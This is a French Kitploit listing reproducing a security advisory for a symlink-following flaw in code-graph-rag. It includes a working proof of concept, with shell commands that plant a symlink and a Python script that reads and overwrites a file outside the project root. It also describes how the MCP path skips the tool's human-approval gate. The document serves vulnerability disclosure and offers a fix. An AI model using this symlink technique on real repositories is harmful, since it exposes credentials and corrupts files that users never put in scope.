Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
code-graph-rag-PoC — PoC — suivi de lien symbolique permettant la lecture/écriture arbitraire de fichiers en dehors de la racine du projet dans code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1). | Kitploit
Outils/GitHubGitHub/squeeze440/code-graph-rag-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubsqueeze440/code-graph-rag-poc

code-graph-rag-PoC

PoC — suivi de lien symbolique permettant la lecture/écriture arbitraire de fichiers en dehors de la racine du projet dans code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).

Voir le dépôt
il y a 7 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

code-graph-rag : avis de sécurité

Statut CVE : demandé, en attente d'attribution. Cette découverte est publiée sous GHSA-85gg-2gfq-q95m. À l'attribution de la CVE, ce dépôt sera renommé CVE-YYYY-NNNNN-code-graph-rag-PoC et cette bannière sera remplacée par le lien CVE.

ChercheurDostxodjayev Abdullox (@squeeze440)
AvisGHSA-85gg-2gfq-q95m
CVSS 3.17.1 (Élevé)
FaiblesseCWE-59, CWE-22

Résumé

Un attaquant distant/local capable de faire inclure un lien symbolique dans un dépôt de code source que code-graph-rag analyse peut amener les outils structural_search et structural_replace (reposant sur AstGrepService, exposés à la fois comme outils MCP et comme outils d'IA agentique) à lire et — via structural_replace avec dry_run=False — à écraser des fichiers arbitraires en dehors de la racine de projet configurée, car la vérification de confinement de chemin de l'outil (should_skip_path/_classify_file) est effectuée de manière lexicale sur le chemin non résolu et ne vérifie jamais Path.is_symlink() ni n'appelle .resolve(), contrairement au décorateur validate_project_path du projet lui-même (correct) utilisé ailleurs.

Produit

vitali87/code-graph-rag (PyPI : code-graph-rag, CLI : cgr)

Version testée

Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (version pyproject 0.0.550) — main actuel au moment du test. Confirmé que ce commit contient déjà le correctif de l'avis précédent (GHSA-vvr2-h2jp-838m : traversée de chemin dans read_file paginé) et la nouvelle barrière d'authentification bearer HTTP-MCP (_validate_http_exposure dans codebase_rag/mcp/server.py), il s'agit donc d'un problème distinct, toujours ouvert, par-dessus ces correctifs.

CVSS v3.1 estimé

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (Élevé)

Métriques non évidentes :

  • AV:L — la faille est exploitable purement via l'usage local/CLI/stdio-MCP de base de l'outil (analyse d'un dépôt contenant un lien symbolique implanté) ; elle ne dépend pas du transport HTTP MCP optionnel, désormais protégé par jeton bearer, donc le vecteur de base est évalué sur la surface locale toujours présente plutôt qu'en supposant un déploiement distant.
  • UI:R — l'attaquant fournit le dépôt malveillant (le lien symbolique), mais une partie distincte (un utilisateur, ou un agent d'IA agissant en son nom) doit réellement exécuter structural_search/structural_replace contre ce projet pour que la lecture/écriture se déclenche.
  • A:N — l'écrasement arbitraire du contenu d'un fichier a été démontré ; aucune chaîne de crash/DoS système n'a été démontrée, donc la Disponibilité est évaluée de manière conservatrice comme None plutôt que supposée.

Détails

AstGrepService (codebase_rag/tools/ast_grep_service.py) alimente à la fois les outils MCP/agentiques structural_search et structural_replace. Il énumère les fichiers candidats avec os.walk() et ne filtre chaque chemin que via should_skip_path() :

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — parcourt self.project_root avec os.walk() ; chaque entrée de répertoire non-répertoire retournée par os.walk (y compris un lien symbolique pointant n'importe où sur le disque) est traitée comme un fichier dans le périmètre.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — la seule vérification de confinement est should_skip_path(...) suivie de abs_path.relative_to(self.project_root) (ligne 82) ; abs_path n'est jamais résolu, donc cette vérification est purement lexicale/basée sur des chaînes.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) et codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — calcule rel_path = file_path.relative_to(repo_path) sans jamais appeler .resolve() ni Path.is_symlink(). Rien dans cette fonction ne traite un lien symbolique différemment d'un fichier réel.
  • Puits de lecture : codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) appelle path.read_text(), que Python suit à travers le lien symbolique jusqu'à sa cible réelle, peu importe où cette cible se trouve.
  • Puits d'écriture : codebase_rag/tools/ast_grep_service.py:187-208 (replace), spécifiquement la ligne 208 — abs_path.write_text(new_source, ...) lorsque dry_run=False, suivant à nouveau le lien symbolique et écrasant le contenu du fichier cible réel.

Ceci est incohérent avec la façon dont le reste du codebase gère exactement la même classe de risque. Les outils de lecture/écriture/édition de fichiers (file_reader.py, file_writer.py, file_editor.py) sont tous protégés par validate_project_path (codebase_rag/decorators.py:73-75) :

root@kitploit:~
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() suit les liens symboliques avant que la vérification de confinement ne s'exécute, donc ces outils rejettent correctement une cible hors racine. Le propre absolute_path_within_project_root() de path_utils.py (codebase_rag/utils/path_utils.py:156-176) documente explicitement le même principe dans sa docstring : « Les appels à resolve() sont porteurs : le confinement est vérifié de manière lexicale, donc un segment .. non résolu ou un lien symbolique s'échapperait de la racine. » — mais should_skip_path()/AstGrepService, utilisés par structural_search/structural_replace, n'appliquent jamais ce modèle.

Accessibilité / exposition des deux outils :

  • structural_search (codebase_rag/tools/structural_search.py:24-46) ne porte aucun indicateur requires_approval — le modèle d'un client MCP peut l'appeler de manière autonome sans confirmation humaine.
  • structural_replace (codebase_rag/tools/structural_editor.py:52-57) est marqué requires_approval=True, mais cet indicateur n'est appliqué que par la propre boucle d'agent de pydantic-ai. Le chemin du serveur MCP le contourne entièrement : MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) appelle directement self._structural_editor_tool.function(...), et l'outil MCP est enregistré sans aucun concept d'approbation à codebase_rag/mcp/tools.py:369-388 (ToolMetadata pour MCPToolName.STRUCTURAL_REPLACE) — tout client MCP capable d'appeler des outils peut invoquer structural_replace avec dry_run=False en une seule fois.

Preuve de concept

Confirmé dynamiquement contre le paquet installé (mgclient/pymgclient simulés exactement comme dans le PoC de l'avis précédent, car le client natif Memgraph n'est pas nécessaire pour ce chemin de code).

root@kitploit:~
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
root@kitploit:~
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Sortie réelle de l'exécution (/tmp/poc_venv, paquet installé via pip install --no-deps -e . depuis le commit testé) :

root@kitploit:~
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Aucune capture d'écran — il s'agit d'une découverte purement au niveau bibliothèque/CLI sans composant navigateur/GUI.

Impact

Tout opérateur qui pointe cgr (CLI, mode agentique ask_agent, ou outils MCP structural_search/structural_replace) vers un dépôt qu'il n'a pas entièrement audité — le cas d'usage exact pour lequel cet outil est conçu (« interroger, comprendre et éditer des bases de code multi-langages ») — peut voir le lien symbolique implanté dans ce dépôt utilisé pour :

  • Divulguer le contenu de tout fichier lisible par le processus cgr (identifiants, clés SSH, fichiers .env, code source de projets voisins), via structural_search, sans aucune barrière d'approbation.
  • Écraser le contenu de tout fichier inscriptible par le processus cgr, via structural_replace(dry_run=False), en contournant la propre barrière d'approbation de l'outil lorsqu'il est appelé via le protocole MCP.

Il s'agit de la même classe de bug « du contenu malveillant dans le codebase analysé s'échappe de project_root » que GHSA-vvr2-h2jp-838m, mais avec une cause racine distincte (absence de résolution des liens symboliques dans AstGrepService/should_skip_path, CWE-59) et un puits distinct et plus grave (écriture arbitraire, pas seulement lecture) dans un composant différent (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, et non le read_file paginé de codebase_rag/mcp/tools.py). Il ne chevauche pas les plages de lignes vulnérables ni le correctif de l'avis précédent.

Faiblesses

  • CWE-59 : Résolution incorrecte des liens avant accès aux fichiers (« suivi de liens ») — cause racine principale.
  • CWE-22 : Limitation incorrecte d'un nom de chemin à un répertoire restreint (« traversée de chemin ») — l'échappement résultant de la racine du projet.

Remédiation

Appliquer le même modèle résoudre-puis-contenir déjà utilisé par validate_project_path (codebase_rag/decorators.py:73-75) et absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) à should_skip_path. Rejeter tout chemin dont l'emplacement résolu (après suivi des liens symboliques) s'échappe de la racine de projet résolue, plutôt que de ne vérifier que la chaîne de chemin non résolue :

root@kitploit:~
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

Concrètement : ce seul changement dans should_skip_path corrige à la fois _classify_file (recherche) et le filtrage os.walk dans _iter_source_files (remplacement), puisque les deux passent par lui. En défense en profondeur, _iter_source_files pourrait en outre ignorer d'emblée les entrées de répertoire liées symboliquement (entry.is_symlink()) pendant le os.walk, car un outil d'analyse de code piloté par IA ne devrait jamais avoir besoin de traverser en dehors de la racine indexée.

Crédit

Dostxodjayev Abdullox (GitHub : squeeze440)

Canal de signalement

Le signalement privé de vulnérabilités (PVR) est confirmé activé sur vitali87/code-graph-rag ; ce rapport est destiné à être soumis via ce canal (GitHub Security Advisories), conformément à l'avis déjà publié du dépôt (GHSA-vvr2-h2jp-838m).

Télécharger l’outil